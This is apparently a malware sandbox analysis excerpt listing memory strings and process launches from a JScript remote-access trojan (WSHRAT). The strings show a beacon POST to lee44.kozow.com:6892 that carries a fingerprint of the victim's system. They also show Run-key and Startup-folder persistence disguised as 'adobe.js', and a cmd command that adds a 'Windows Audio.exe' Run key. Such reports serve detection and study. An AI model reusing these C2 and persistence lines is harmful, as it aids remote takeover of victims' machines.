Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: recent>	memstr_14a166de-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gzctgzet.	memstr_44c572f8-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: gzctgzet.(	memstr_debf1ef0-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: programsj	memstr_560de311-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startuph	memstr_fc3f697c-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: startup@shell32.dll,-21787	memstr_a937b204-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 'n3405117-	memstr_67f87594-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{0e5aae11-a475-4c5b-ab00-c66de400274e}b00`a	memstr_8ef33666-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{0e5aae11-a475-4c5b-ab00-c66de400274e}b00	memstr_c80f3773-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: roami	memstr_58a25e18-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: js_szss	memstr_fd9941e1-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eg_sze3	memstr_17db54bb-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: usersfilesfolder	memstr_625fcdec-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 2025adobepr1m	memstr_c00b086c-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: adobe	memstr_7c5d5751-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: errornts^	memstr_9148842e-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: typeerrorite	memstr_eef73547-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: adober	memstr_378610cd-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @shell32,dll,-12692q	memstr_ec5c0da0-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{4590f811-1d3a-11d0-891f-00aa004b2e24}w	memstr_01bb7ba5-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nes@a	memstr_80f3e96f-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{172bddf8-ceea-11d1-8b05-00600806d9b6}e	memstr_992b09ee-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{4590f811-1d3a-11d0-891f-00aa004b2e24}e	memstr_28741046-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{172bddf8-ceea-11d1-8b05-00600806d9b6}pr	memstr_d44b3a07-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{cf4cc405-e2c5-4ddd-b3ce-5e7582d8c9fa}	memstr_24f11995-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: clsid\{cf4cc405-e2c5-4ddd-b3ce-5e7582d8c9fa}pr1mps	memstr_be2c1356-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windo`e	memstr_b8e0ecac-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @tzres.dll,-112x	memstr_dee6b288-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eastern standard time %	memstr_1265da8e-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @tzres.dll,-111	memstr_b4a4dceb-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eastern summer time	memstr_e7d28c66-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dllwb	memstr_2198018a-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemprox.dlll	memstr_4d376a3e-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemdisp.dllrosoft	memstr_2128f178-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemdisp.dlll	memstr_aeb1871d-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemdisp.dll0v	memstr_27fe67ed-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: k.$xd	memstr_f2b80722-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wmiutils.dlll	memstr_ff5e992b-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wmiutils.dllr	memstr_98097dee-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wmiutils.dlll\jon	memstr_4f3ca749-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemprox.dlll782	memstr_8355c298-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: security=impersonation dynamic falsen\j	memstr_893bab15-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ppdao	memstr_3543b7a1-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemprox.dlll@	memstr_a10bb4a0-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \device\harddiskvolume3w	memstr_8341e501-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /c:\k	memstr_03aa987c-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemsvc.dlll	memstr_14252a92-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: windows management and instrumentation	memstr_da4ec2f2-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \jon;	memstr_c3e4194a-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wbem\wbemdisp.dlllc:	memstr_ce56a759-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: thoodell32	memstr_a7a48a65-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,-21786	memstr_ec47be0a-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ,dmi	memstr_422c42c5-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wbem locator	memstr_e22682a4-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: '$'<'	memstr_c2b255bc-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mmnopqrs	memstr_3c813b02-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b81a4609	memstr_2ed71821-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wmi object factory	memstr_984f87ca-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >4>d>	memstr_fb2b08ab-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l0l@lxlpl	memstr_109a4dc0-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: m$m@m`m	memstr_fc42a1dc-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: acdefghij	memstr_a9f7d4b4-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jonesimv2	memstr_de2e6e24-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: b81a46092	memstr_eacd21c1-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: jones-pc2q	memstr_bc405e78-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: stujwxyz	memstr_036a14b1-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 6892type	memstr_8b2dc245-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: psfactorybuffer	memstr_9adddd81-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: universal refresher8	memstr_8a933936-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nt authority\system+	memstr_1166acf9-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: appdata\local&	memstr_f2696760-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wbem class object	memstr_53a41433-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: call contextd=x	memstr_b0c30590-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: local appdata-21786	memstr_67e0adbd-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: l32.dll,	memstr_c0e2774d-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ^lb&!	memstr_00fbd412-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hthe download of the specified resource has failed.	memstr_e8e3526d-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ware\microsoft\windows\currentversion\run\adobe".	memstr_93b347c5-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ones\appdata\r	memstr_a77dced6-a
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".r	memstr_8df1b625-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"rosoft\windows\currentversion\run\adobe".e	memstr_dcc392ad-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".t	memstr_519c90ab-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".g	memstr_caf5fb99-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"	memstr_e0ec685f-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \windows\currentversion\run\adobe".i	memstr_b7478977-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkey_local_machine\software\microsoft\windows\currentversion\run\adobedows\currentversion\run\adobe".	memstr_834620d3-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hkey_current_user\software\microsoft\windows\currentversion\run\adobendows\currentversion\run\adobe".+	memstr_7af2780a-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >microsoft jscript runtime errorey_local_machine\software\microsoft\windows\currentversion\run\adobe".i	memstr_baa77729-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ware\microsoft\windows\currentversion\run\adobe".i	memstr_eb48b557-5
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ware\microsoft\windows\currentversion\run\adobe".d	memstr_7c0f330f-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".favoritesw	memstr_927ef14d-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".;	memstr_14fd63aa-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: invalid root in registry key "hkey_local_machine\software\microsoft\windows\currentversion\run\adobe".*	memstr_743aad46-3
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0onts	memstr_5e29749a-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ::$datas@shell32.dll,-21813	memstr_f6ba610c-d
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ifilesystem3.drives();	memstr_0c4097dc-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: idrivecollection._newenum();	memstr_50f67083-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: idrive.isready();	memstr_e7c66ea4-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: idrive.freespace();	memstr_3243ce99-0
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: idrive.drivetype();	memstr_f7249dad-6
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iserverxmlhttprequest2.open("post", "http://lee44.kozow.com:6892/is-ready", "false");	memstr_a910c877-f
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iserverxmlhttprequest2.setrequestheader("user-agent:", "wshrat\|b81a4609\|user-pc\|user\|microsoft windows 10 pro\|plus\|windows defender .\|false - 15/4/2025\|jav");	memstr_d29e70d6-e
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iserverxmlhttprequest2.send("");	memstr_0af4a07a-4
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ihost.sleep("5000");	memstr_fe6cad85-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iwshshell3.regwrite("hkey_current_user\software\microsoft\windows\currentversion\run\adobe", "wscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"", "reg_sz");	memstr_da0362c8-9
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: iwshshell3.regwrite("hkey_local_machine\software\microsoft\windows\currentversion\run\adobe", "wscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"", "reg_sz");	memstr_9e010d45-c
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ihost.scriptfullname();	memstr_67585228-2
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ifilesystem3.copyfile("c:\users\user\appdata\local\temp\adobe.js", "c:\users\user\appdata\local\temp\adobe.js", "true");	memstr_c20cee8a-b
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ifilesystem3.copyfile("c:\users\user\appdata\local\temp\adobe.js", "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\st", "true");	memstr_17c43e61-1
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: indows 10 pro\|plus\|windows defender .\|false - 15/4/2025\|jav");	memstr_6f8b09ab-8
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: on._newenum();	memstr_c01b0a69-7
Source: wscript.exe, 00000008.00000002.2596269018.000001F861B2A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ::$dataon._newenum();	memstr_8864aa06-f
Source: wscript.exe, 00000008.00000002.2595501978.000000A4685FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: m32\gdi3p	memstr_8abb32f4-a
Source: wscript.exe, 00000008.00000002.2595501978.000000A4685FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: +local\sm0:5872:304:wilstaging_02_p0hl	memstr_120b6f71-5
Source: wscript.exe, 00000008.00000002.2595501978.000000A4685FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: `p@ra	memstr_931592ce-8
Source: wscript.exe, 00000008.00000002.2595501978.000000A4685FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: /5rr	memstr_e5cc213c-2
Source: wscript.exe, 00000008.00000002.2595501978.000000A4685FD000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: wsh-timer	memstr_b22a05ee-e
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: {7584717 -	memstr_f2513939-a
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 16bd0}	memstr_35fb5f1b-a
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini/h	memstr_68efbcdf-6
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: \microsoft\w	memstr_be1fe8f8-1
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: dows\start menu\rams\startup	memstr_aa4dcb85-5
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: {7584717	memstr_26094694-5
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini	memstr_64d228a0-d
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: dows\start menu\rams6	memstr_9d9b06d5-1
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: :hg/h	memstr_31ed5f75-c
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ++c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini	memstr_b7deb3de-f
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: \pk/h	memstr_1a16cd20-a
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: em32\she	memstr_0f3d0643-e
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: zdwpt	memstr_c7091b58-5
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: programs	memstr_dc32ff98-0
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: @da\r @	memstr_bf8ed880-4
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: @shell32.dll,-21782	memstr_e10cfa61-0
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: \user\appdata\roaming\m	memstr_8bdb8fb2-d
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 476751002	memstr_253ef14f-2
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: @at}0	memstr_a8b6d860-3
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ntfst	memstr_517b911a-c
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: c:\users\user\appdata\local\temp\adobe.js	memstr_d92382f5-8
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: p^/@n	memstr_59add5eb-6
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 3++s++	memstr_832dc305-e
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: the specified resource h	memstr_84e7db63-9
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: dvm<i	memstr_08a90107-1
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: sleep	memstr_5f13d8af-5
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: wc:\users\user\appdata\local\temp\adobe.js'r	memstr_261eca8e-2
Source: wscript.exe, 00000008.00000002.2595457149.000000A4682F5000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: c:\windows\system32\wscript.exe	memstr_cbc13aba-7
Source: wscript.exe, 00000008.00000002.2595677350.000000A468AFC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 247675102476751002	memstr_3c7b3248-0
Source: wscript.exe, 00000008.00000002.2595677350.000000A468AFC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: s-1-5-21-2246122658-3693405117-24767	memstr_861a7809-5
Source: wscript.exe, 00000008.00000002.2595677350.000000A468AFC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: 2476751002	memstr_08586e71-e
Source: wscript.exe, 00000008.00000002.2595677350.000000A468AFC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: tdll.dll	memstr_a01fee1b-e
Source: wscript.exe, 00000008.00000002.2595677350.000000A468AFC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: lee44.kozow.com	memstr_ffdf08bc-5
Source: wscript.exe, 00000008.00000002.2595677350.000000A468AFC000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: prxyh#	memstr_1dd1ea74-4
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: xwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"	memstr_027be00a-5
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: glxwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"	memstr_6a027d1e-5
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: otc:\users\user\appdata\local\temp\adobe.jsal\temp\adobe	memstr_7b4d00ba-f
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: soxwscript.exe //b "c:\users\user\appdata\local\temp\adobe.js"ngsng[	memstr_bd7c84e6-b
Source: wscript.exe, 00000008.00000002.2596539768.000001F861CAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: .tc:\users\user\appdata\local\temp\adobe.jsal\temp\adobe	memstr_eb8ab546-e

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\rHMh.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\DPGLXM.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\adobe.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\notepad.js"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\JaG.exe "C:\Users\user\AppData\Local\Temp\JaG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c ping 127.0.0.1 -n 65 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "audiodg.exe" /t REG_SZ /d "C:\Users\user\Audio\Windows Audio.exe"	Jump to behavior
